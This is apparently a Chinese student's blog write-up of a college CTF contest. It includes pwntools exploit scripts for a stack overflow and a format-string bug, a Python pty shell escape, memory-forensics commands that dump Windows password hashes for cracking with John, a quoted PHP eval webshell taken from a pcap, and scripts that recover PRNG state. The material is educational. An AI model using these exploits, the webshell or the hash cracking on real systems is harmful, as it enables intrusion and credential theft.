前两天学院的科技文化节举办了有史以来的第一届CTF比赛, 我虽然没有正式学习过, 但是可是对CTF慕名已久, 既然没机会参加正式比赛那就参加这个体验一下吧, 由于比赛要求选手做完题后提交题解, 所以顺便也在博客上放一份吧, 毕竟题解体现了我整个真实的思考过程, 说不定遇到的问题对你也有些参考价值呢~
关键词: Word隐写, 内存分析, 图片隐写, 栈溢出攻击, 格式化字符串漏洞攻击, 维吉尼亚密码, Base64隐写, 卢恩(Runes)字母, 反推Python内置随机数算法(MT19937)的种子, 反推线性同余生成器(LCG)参数
这次比赛令我收获颇丰, 尽管只有短短的32小时, 但我却感觉直接学到了许多, 也拿到了对萌新来说还算不错的成绩第三名, 差点就飘了
这次CTF比赛分MISC, WEB, REVERSE, PWN, CRYPTO五个方向, 共有29道题, 带*的是签到题. 官方题解: https://dlut-sss.feishu.cn/wiki/wikcno1vgf25sAp9pkd2E20Whje
这里就只写我做出来了的题目, 没做出来的就不写思路丢人现眼了
MISC
*elden ring
这题没有看懂是什么意思,而且也没玩过艾尔登法环
在地图上找到了红圈标注的位置,但是也没明白和教堂名字有什么关系,还发现了一张名为wifu.jpg的隐藏图片,但是无法打开,用十六进制文本编辑器打开发现文件头是jfif,但是缺少开头的FF D8 FF E0
,补上后打开并用百度识图发现这是菈妮,但是还是不知道有啥关系,于是放弃
直到比赛结束前,发现此题有很多人已经做出来了,所以应该很简单,灵光一现,感觉这个教堂有可能是游戏里的教堂,于是到艾尔登法环wiki里搜教堂,发现Cathedral of Manus Celes
这个符合格式,得到flag
真假CTF
下载下来的只有一张png图片,所以应该是图片隐写,用Stegsolve打开,查看各个通道,未发现明显异常,因此怀疑是最低有效位隐写,打开Analyse-Data Extract,选中RGB三通道的第0位,点击preview,得到flag
你会读外星语吗?
下载下来又是一张图片,根据经验,一张534*534的颜色变化很少的图片不可能有108k这么大,所以里面一定含有其他东西,用strings查看发现里面有很多疑似文件名的字符串,怀疑里面隐藏了一些文件,用binwalk提取后得到了一堆图片,含有一堆乱码的flag.txt和flag generator.html
这堆图片的文件名看起来是md5,于是上网随便找个反查工具,发现是1~26这几个数字,猜测对应a~z,乱码的flag.txt不知道是干什么的,所以打开了flag generator.html,上面提示把flag粘贴到pre标签里,所以把flag.txt里的内容粘贴过去,然后用浏览器打开发现这就是图片里的字符,于是就得到了flag
PS:这文字实在是太抽象了,眼睛差点没给我看瞎
死亡笔记
用wireshark打开流量包,由于是“干网站”,我们只需要查看HTTP请求,而且简单看一眼可以发现服务器的ip应该是192.168.1.176
,所以先应用一下过滤器:http && ip.addr==192.168.1.176
,过滤掉无关流量方便之后分析
要攻击的目标是WordPress站点,其后端是php,接下来就是一点一点看请求,还原攻击者攻击网站的过程,进而找到网站后台账号,网站后台密码,木马文件名和木马连接密码
攻击者首先访问站点,发了两条评论,然后穷举字典,扫描整个网站,发现uploads里的user.txt
(包序号19558)记录了所有可能的用户名,notes.txt
(包序号19713)记录了所有可能的密码,接下来就是将这些用户名和密码排列组合,尝试登录,所以直接找最后一个对wp-login.php
的请求(包序号30179),其对应的响应返回302重定向说明登录成功,查看该请求的body即可拿到后台账号密码。
接下来攻击者在后台寻找能够上传木马的地方,他发现了akismet插件,于是使用WordPress自带的插件编辑器在插件开头加上了echo 1;
(包序号32785),然后访问这个插件(包序号32919),发现代码成功执行,接着上传了一句话木马eval($_REQUEST[SHe1l]);
(包序号33816),再发送POST请求SHe1l=echo 2;
验证代码是否成功执行(包序号33984),最后执行了system('whoami');
就结束了(包序号34209),因此可以得到木马文件名是akismet.php
,至于连接密码,这个困扰了我半天,因为没明白这个是什么意思,思来想去这木马就一句话,也就SHe1l
有可能了,结果填进去还真对了
成功打开flag.docx
后发现里面居然是一片空白,并没有flag,于是到网上搜Word隐写发现Word居然有一个隐藏文字的功能,到选项中打开显示隐藏文字后即可得到flag
PS: 我还记得我小时候(10年左右)看到的大多数的攻击网站的流程都是这样的,看起来很容易,但事实上现在几乎是无法这样攻击的,因为前提是需要获取可以上传可被执行的文件的后台账户和密码,而这道题为了简化,故意把账户密码暴露出来了,否则就要靠注入/暴力穷举/社工手段获得了,然而所有的orm框架都会防SQL注入的,所以只要牢记不信任用户输入,转义防XSS注入,动态语言防代码执行即可
后面做到WEB的时候有两道题虽然我没做出来,但是给我留下了深刻的印象,一道是Python的Flask框架,这道题是直接把用户传进来的参数当做模版渲染,进而造成代码执行,然后用{{config}}
可以直接看到Flask的配置,从而可以获得secret_key
进而伪造cookie或进行其他操作,另一道是PHP,在CTF Wiki了解到PHP类型极弱,容易造成各种代码执行漏洞,甚至还有专门的一页讲PHP代码审计,这道题是精心构造传入的字符串,进而绕过,看了题解发现自己猜错了,其实是在shell中用$、~、(、)这4个字符构造任意整数(别骂了别骂了我太菜了),但是由于没有接触过不知道应该怎么构造只好作罢,总之我的建议是如果没有必要的话现在不要用PHP写后端,动态语言最好也不要用,例如Python和Node.js等,除非是不重要的小项目或者希望快速开发,静态语言相比之下就会安全很多preg_match
匹配的模式然后执行代码输出flag(建议用go),虽然并不是没有漏洞,但至少利用起来的门槛应该是相对较高的,所以这比赛要是真有Spring的题目,那估计就不可能是个院级的比赛了
这也让我对网络安全有了崭新的认识,总结一下就是现在的大部分框架都无需担心被黑,然后自己的网站后台一定要设置强密码,不要泄露出去!!!
白某的购物密码
此题是内存分析,按照网上教程使用volatility工具进行分析
首先用imageinfo查看一下内存信息,猜测系统为win7sp1
$ volatility -f 8cf9af42.vmem imageinfo Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
然后用pslist查看进程,发现了winrar
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 pslist 0xfffffa8001c8c770 WinRAR.exe 2572 1612 7 227 1 0 2022-02-06 14:37:11 UTC+0000
用memdump把winrar进程dump出来
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 memdump -p 2572 -D .
提取完毕后用十六进制文本编辑器打开,搜索一些可能出现的字符串(例如flag,ctf等),发现当前打开的文件是C:\Users\Shirai_Kuroko\Desktop\flag.zip
那就用filescan扫一下打开的文件
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 filescan 0x000000007fb6e070 16 0 -W-r-- \Device\HarddiskVolume1\Users\SHIRAI~1\AppData\Local\Temp\Rar$DIb2572.39047\flag.txt 0x000000007eae03c0 16 0 RW---- \Device\HarddiskVolume1\Users\Shirai_Kuroko\Desktop\flag.zip
我先尝试用dumpfiles提取flag.txt,但是提取出来的是空的文件,所以尝试提取flag.zip
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007eae03c0 -D .
得到压缩包,压缩包的注释提示说Shouldn't Be Only one account
,所以扫一下系统用户先
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Shirai_Kuroko:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: NekoParaExtra ARS:1001:aad3b435b51404eeaad3b435b51404ee:2bef46c5bff178fd130dc6ff4de692f1:::
发现还有一个用户叫NekoParaExtra ARS
,猜测其密码就是压缩包密码
因此接下来用 John the Ripper 破解密码,这里注意linux里的john是不能破解Windows账户密码的,要用Windows版的
$ john --format=NT --show sam.txt
得到压缩包密码,解压缩后得到flag
WEB
*flag maze
签到题,打开开发人员工具在元素中即可找到flag.png
PS:禁用F12似乎没啥用,可以右键菜单点审查元素,edge也可以Ctrl+Shift+I打开开发人员工具
REVERSE
*贪吃蛇
签到题,用64位ida打开,在gamecircle函数中发现得分大于299时就会打印flag,flag是直接存储在数据段中的,所以直接复制出来就行了
PWN
*hidden
$ ls -aR $ cd ... $ ls -a $ cat .flag
这目录居然叫...
,太有迷惑性了,因为单独输ls -a
或者ls -R
都无法显示
babymaze
连上去之后发现是走迷宫,但是限时,反编译一下发现是20秒时间,再加上提示说不涉及getshell,那么就应该是写个走迷宫的程序,程序代码如下(bfs更好,但是为了写起来快我写了dfs):
#include <iostream> #include <stack> using namespace std; #define N 41 #define M 21 bool maze[M][N]; deque<char> path; bool existInPath(int x, int y) { return maze[y][x] == 1; } bool dfs(int x, int y) { maze[y][x] = 1; if (x == 39 && y == 19) { for (auto action : path) { cout << action; } cout << endl; return true; } if (maze[y][x+1] == 0 && !existInPath(x+1, y)) { path.push_back('d'); if (dfs(x+1,y)) return true; } if (maze[y+1][x] == 0 && !existInPath(x, y+1)) { path.push_back('s'); if (dfs(x,y+1)) return true; } if (maze[y][x-1] == 0 && !existInPath(x-1, y)) { path.push_back('a'); if (dfs(x-1,y)) return true; } if (maze[y-1][x] == 0 && !existInPath(x, y-1)) { path.push_back('w'); if (dfs(x,y-1)) return true; } path.pop_back(); return false; } int main() { for (int i = 0; i < M; i++) { for (int j = 0; j < N; j++) { char ch; scanf("%c", &ch); maze[i][j] = ch == '#'; } getchar(); } if (!dfs(1, 1)) { cout << "无解" << endl; } return 0; }
执行程序,把迷宫复制进去,然后把得到的wasd序列粘贴回nc就得到flag了
PS:感觉这题不需要提供可执行文件
python
import pty pty.spawn("sh") $ ls -la $ cat flag
用python自带的pty模块即可打开终端执行命令
Echo Machine
此题是栈溢出攻击,原理见栈溢出原理 – CTF Wiki (ctf-wiki.org)
首先用64位ida反编译,可以看到vuln函数循环读取输入并打印出来,shell函数可以打开终端,因此我们需要把函数返回地址替换为shell函数的地址
接下来需要确定填充长度,ida提示我们字符串距离rbp的长度为0x70,因此构造的字符串如下所示:
'a' * 0x70 + 'bbbbbbbb' + p64(shell_addr)
最后写一个python脚本将这串字符串输入进去即可:
from pwn import * sh = process('./echomachine') shell_addr = 0x00401236 payload = 0x70 * b'a' + b'bbbbbbbb' + p64(shell_addr) sh.sendline(payload) print(sh.recv()) sh.interactive()
需要注意的是程序是64位的并且python3中ASCII字符串前面要加上b,下一题同理
Echo Machine V2
此题是格式化字符串漏洞攻击,原理见原理介绍 – CTF Wiki (ctf-wiki.org)
还是用64位ida反编译,在vuln函数中可以看到用printf直接输出了用户的输入,然后下面判断了如果treasure不为0就执行shell函数打开终端,treasure是全局变量,存放在bss段中,因此我们只需要构造字符串覆盖掉位于0x004040B0处的变量即可
按照CTF Wiki的“利用-覆盖任意地址内存-覆盖小数字”中所述的方法构造字符串,这里有个小技巧,就是可以把n改成p,这样可以输出要覆盖的地址的值,方便调试,最后经过多次尝试,构造出的字符串如下所示:
'a%7$naaa' + p64(treasure_addr)
最后写一个python脚本将这串字符串输入进去即可:
from pwn import * sh = process('./echomachinev2') treasure_addr = 0x004040B0 payload = b'a%7$naaa' + p64(treasure_addr) sh.sendline(payload) print(sh.recv()) sh.interactive()
CRYPTO
*键盘侠
键盘布局加密,每行为一个字母,在键盘上比划一下即可得到flag
PS: CTF Wiki 上还有各种各样的键盘加密,这都是咋想出来的呢这么无聊
classic crypto
由题目名字可得本题是古典密码,cipher.txt里面是加密过的密文,直觉感觉数字没有被加密,且[1][2]
似乎是维基百科的脚注,所以到维基百科搜索1523–1596
,找到了这个https://en.wikipedia.org/wiki/Vigenère_cipher,经过对比符合此条目的前三段,得知这是维吉尼亚密码,使用CTF Wiki里的在线工具破解可得到密钥,用密钥解压缩flag.zip得到flag.txt
观察flag.txt,显然是Base64编码,但用在线工具解码后得到的却是关于Base64的科普,所以这是Base64隐写,原理见:Base64隐写简介 – 知乎 (zhihu.com),随便找个脚本或者自己写一个就能解开啦
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open('flag.txt', 'r')as f: bin_str = '' line = f.readline() while line: line = line.strip() if len(line) > 0: if line[-2] == '=': bin_str += bin(table.index(line[-3]))[2:].zfill(4)[-4:] elif line[-1] == '=': bin_str += bin(table.index(line[-2]))[2:].zfill(2)[-2:] line = f.readline() result = '' for i in range(0, len(bin_str), 8): result += chr(int(bin_str[i : i + 8], 2)) print(result)
赞美太阳
此题只有一张含有未知文字的图片,由于是CRYPTO分类,应该不涉及隐写,所以就在网上乱搜各种各样的符号文字,直到偶然发现了卢恩文字,感觉很像,所以到维基百科搜卢恩文字,然后照着转写一下就行了
卢恩字母 – 维基百科,自由的百科全书 (wikipedia.org)
随机数的力量
首先观察题目给出的脚本可知这个人用python的random模块生成了624个随机数并写入到了output文件中,然后又生成了4个随机数,分别转换成字符串拼接到一起,最后求MD5得到flag
我们在小学二年级就知道大多数编程语言的随机数算法都是伪随机,是用种子计算得到的,因此如果能根据这624个随机数反推出种子自然就求得了flag
根据这个思路,我在网上找到了方法:浅析MT19937伪随机数生成算法 – 安全客,安全资讯平台 (anquanke.com),简单修改代码后就能得到flag
from random import Random import hashlib def invert_right(m,l,val=''): length = 32 mx = 0xffffffff if val == '': val = mx i,res = 0,0 while i*l<length: mask = (mx<<(length-l)&mx)>>i*l tmp = m & mask m = m^tmp>>l&val res += tmp i += 1 return res def invert_left(m,l,val): length = 32 mx = 0xffffffff i,res = 0,0 while i*l < length: mask = (mx>>(length-l)&mx)<<i*l tmp = m & mask m ^= tmp<<l&val res |= tmp i += 1 return res def invert_temper(m): m = invert_right(m,18) m = invert_left(m,15,4022730752) m = invert_left(m,7,2636928640) m = invert_right(m,11) return m def clone_mt(record): state = [invert_temper(i) for i in record] gen = Random() gen.setstate((3,tuple(state+[0]),None)) return gen def StringToMd5(str): h = hashlib.md5() h.update(str.encode(encoding='utf-8')) return h.hexdigest() with open('output', 'r') as f: lines = f.readlines() prng = [int(i.strip('\n')) for i in lines] g = clone_mt(prng[:624]) for i in range(624): g.getrandbits(32) flag = "SSSCTF{" string = "" for i in range(4): s = g.getrandbits(32) s = hex(s)[2:] string += str(s) string = StringToMd5(string) flag += string flag += "}" print(flag)
ez_LCG
nc 连上去,发现给了一堆代码和执行过程中的几个参数,要求反推seed(即state[0])
百度一下可知LCG是线性同余生成器,是一种伪随机数生成器
$$ \begin{aligned} &N=getPrime(256) \\ &a,\ b∈[0,\ N) \\ &S_0=seed \\ &S_n=aS_{(n-1)}+b\ (mod\ N) \end{aligned} $$
此题中a, b, S0未知,N和S4, S5, S6已知,因此根据递推公式能够先求出a和b,然后往回推即可求出S0
$$ \begin{aligned} &a=(S_6-S_5)/(S_5-S_4)\ (mod\ N) \\ &b=S_6-a*S_5\ (mod\ N) \\ &S_n=(S_{(n+1)}-b)/a\ (mod\ N) \end{aligned} $$
代码如下所示(懒得写循环了不要吐槽):
from gmpy2 import * N = int(input("N: ")) output4 = int(input("output4: ")) output5 = int(input("output5: ")) output6 = int(input("output6: ")) a = (output6 - output5) * invert(output5 - output4, N) % N b = (output6 - a * output5) % N output3 = (output4 - b) * invert(a, N) % N output2 = (output3 - b) * invert(a, N) % N output1 = (output2 - b) * invert(a, N) % N output0 = (output1 - b) * invert(a, N) % N print(output0)
结束语
做出来的就这些了,碍于鄙人水平所限,所有的web和逆向都没做出来(因为我不会注入和动态分析QAQ),除此之外还有一些尝试了很久感觉有思路但却没做出来的题(电信诈骗,火星文,大王卡,ezShell和RRSSAA),还是稍微有些遗憾的,但总体来说收获更大,也增进了我对信息安全的了解(有空得学一下动态分析了TAT)